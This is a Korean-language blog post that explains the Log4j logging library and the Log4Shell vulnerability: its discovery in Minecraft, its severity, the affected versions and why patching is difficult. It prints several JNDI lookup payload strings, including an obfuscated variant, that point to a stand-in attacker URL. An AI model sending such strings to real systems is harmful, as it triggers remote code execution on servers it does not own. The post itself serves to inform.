본문 바로가기

STUDY LOG/IT이슈 | 칼럼 | 정보

보안 취약점, Log4j란?

728x90
반응형

 

 

 

Log란?

 

시스템 측면에서, 우리는 특정 작업을 수행하기 위해

프로그램에서 사용할 수 있는 이전에 작성된 코드의 패키지인 "라이브러리"를 재사용하게 됩니다.

 

못을 박기 위해 망치를 새로 만드는 것이 아니라, 이미 만들어져 있는 망치를 가져다 사용하는 것이죠.

하지만 집을 짓다 보면 못질이 서투르거나 부품이 망가져 조립이 안되는 등 다양한 문제가 발생할 수 있습니다.

 

이와 동일하게, 컴퓨터 시스템은 까다롭고 오류는 항상 발생할 수 있습니다.

어디서, 언제, 어떠한 문제가 발생했는지 찾는 가장 일반적인 방법 중 하나는 

일어나는 모든 일을 간단하게 기록하는 것입니다.

 

우리는 이것을 기록, 즉 로그(Log)라고 부르며

로그를 남기는 행위를 로깅(Logging)이라고 합니다.

 

 


 

 

 

Log4j 란?

 

작업자나 관리자들은 단순히 여기 저기 흩어져 있는 종이에 직접 기록을 남기기보다는,

한 곳에 기록을 모아주는 애드온, 즉 라이브러리를 사용하여 이러한 작업을 수행합니다. 

 

Log4j는 Java 코딩 도중 프로그램의 로그를 기록해주는 라이브러리로, 

Log4j가 추가된 프로그램 실행 시 자동으로 지정한 경로에 로그를 저장해주는 기능입니다.

 

즉, Log4jJava 기반 로깅 유틸리티로 여러 자바 로깅 프레임워크들 가운데 하나입니다.

 

보통 최종 사용자가 제품의 정보를 식별하거나 개발자가 프로그램 개발 중 디버깅 등을 위해

타임스탬프 등을 남길 목적으로 사용됩니다.

 

 

 

 

위와 같이 로깅이란 서버, 프로그램 등의 유지 관리를 목적으로 동작 상태를 기록으로 남기는 일이기 때문에

사실상 전 세계 거의 모든 서버가 이를 필요로 합니다.

 

특히 Log4j는 무상공개된 오픈소스이기 때문에 애플, 아마존, 트위터 등 대부분의 IT 기업 뿐 아니라

웹사이트를 운영하는 기업과 정부기관 등에서 사용하고 있습니다.

 

이에 따라 Log4 는 매우 흔한 자바 라이브러리로 알려져있습니다.

 

 

 

 

Log4j의 취약점

 

 

이 취약점은 역대 비디오게임 판매량 1위 온라인게임인 마인크래프트(Minecraft)에서 처음 확인되었습니다.

자바 언어로 개발된 마인크래프트 버전에서 위와 같은 특정 채팅 메시지를 입력하면,

대상 컴퓨터에서 원격으로 프로그램을 실행할 수 있습니다.

 

 

이러한 방식으로 쉽게 서버 또는 클라이언트의 권한을 빼앗아

마음대로 조종하는 종류의 공격이 가능함이 확인된 것입니다.

 

 

처음에는 그저 짖궃은 장난, 게임 플랫폼에서만 일어나는 종류의 위협으로 생각되었으나,

잠재적으로 이 라이브러리를 사용하는 모든 소프트웨어에 영향을 미친다는 것이 밝혀졌습니다. 

 

 

 

 - ${jndi:rmi://공격자URL}
 - ${jndi:ldap://공격자URL}
 - ${jndi:${lower:l}${lower:d}a${lower:p}://공격자URL}

 

 

 

공격자가 요청에 위와 같이 요청할 시, 해당 취약점이 트리거됩니다. 

Log4j의 포맷 언어에는 코드를 트리거하는 기능이 포함되어 있습니다. 

 

위와 같은 문자열 ${jndi:https://attacker.com/pwnyourserver} 이(가) 포함된 메시지가 로그에 기록되면,

Java는 원격 서버에서 참조된 개체를 가져와 적절한 코드를 실행합니다.

 

공격자가 이 취약점을 이용하려면 대상 프로그램이 기록할 메시지를 생성해야 합니다.

이 메시지는 말그대로 '기록'이기 때문에 URL의 내용, 로그인 이름, 데이터 조각 등 무엇이든 될 수 있습니다. 

 

 

 

해커들이 이 취약점을 공격하면, 목표 대상 컴퓨터의 모든 권한을 취득할 수 있게 되는 것입니다.

더욱 큰 문제는 해당 취약점을 악용해 공격을 감행하는 데 별다른 기술이 필요하지 않다는 점입니다.

 

따라서 비밀번호도 없이 손쉽게 서버를 통해 내부장에 접근해 데이터를 약탈하거나 랜섬웨어를 설치할 수도 있고,

중요 데이터를 삭제할 수도 있습니다. 이에 따라 수 많은 사이버 범죄자들이

악용할 가능성이 높다는 우려가 제기되는 상황입니다.

 


 

이번 취약점과 관련해 크라우드 소싱 취약점 공개 플랫폼인 Bugcrowd의 설립자이자 CTO인 케이시 엘리스(Casey Ellis)는 

"이번 취약점은 소프트웨어와 플랫폼에서 많이 사용되는 프로그램이라는 점, 취약성을 악용할 수 있는 수 많은 경로가 있다는 점, 다른 것을 손상시키지 않고 패치도 어렵게 만든다는 점에서 최악의 시나리오가 되고 있다"

고 경고했습니다.

 

 

이번 취약점에 대해 아파치 재단은 보안 심각도 등급을 가장 높은 10으로 지정했으며,

문제를 해결하는 업데이트 버전의 Log4j 2.15.0을 출시한 상태입니다.

 

현재까지 취약점에 영향을 받는 버전은 Log4j 2.0-beta9 에서 2.14.1까지 모든 버전에 해당되기 때문입니다.

애플, 아마존, 스팀, 트위터, 구글, 테슬라 등 글로벌 IT 기업은 물론 정부 부처 등 웹사이트를 운영하는 대다수가

Log4j를 사용하고 있어 해커들의 공격 타깃이 매우 광범위할 수 있습니다.

 

 

 

또한 앞으로 출시될 주요 디지털 제품ㅡIoT 기기, 맞춤형 소프트웨어 등의 많은 프로그램ㅡ들이 

Log4j 또는 이와 유사한 라이브러리를 포함할 예정이기 때문에 Log4j에 취약성이 있는 경우

디지털 인프라의 거대한 흐름에 잠재적으로 영향을 미치게 됩니다.

 

따라서 현재 전 세계의 공공기관과 주요 기업들은 취약점 패치를 위해 보안 업데이트에 적극 나서고 있습니다. 

 

 

 

 

Log4j 취약점 패치가 어려운 이유

 

 

엄청난 수의 프로젝트에 패치를 적용해야 하는 것이 문제입니다.

Log4j는 많은 프로젝트에서 사용되는 라이브러리이기 때문에,

패치를 통합하기 위해서는 이 라이브러리가 포함된 모든 프로젝트를 업데이트해야 합니다.

 

 

하지만 Log4j 라이브러리에 종속된 다른 라이브러리들에 대한 의존성 문제가 있기 때문에

하나의 프로그램을 패치하는 것으로 끝나는 것이 아니라 잠재적으로 수천 개의 프로그램을 패치하는 것이며,

일부 프로그램들은 의존성이 있는 코드가 먼저 패치될 때 까지 패치할 수 없는 문제도 있습니다.

 

 

이에 따라 2021년 12월은 많은 시스템 관리자들의 주말, 휴가, 크리스마스가 엉망이 된 연말이 되었습니다...(눈물)

 

 

 


이 포스팅은 아래 원문들을 번역, 발췌한 내용입니다. 번역 오류 또는 내용 오류가 있을 시 댓글을 통해 알려주시기 바랍니다.

1) Lawfare - "What's the Deal with the Log4Shell Security Nightmare?" 
2) 보안뉴스 - "역대급 '로그4j' 취약점 노린 다크웹 기반 해커들의 움직임은?"
3) 중앙경제 - "역사상 최악" 비번 없이 내부망 뚫는단 'Log4Shell' 피하려면"

 

 

 

 

 

 

 

728x90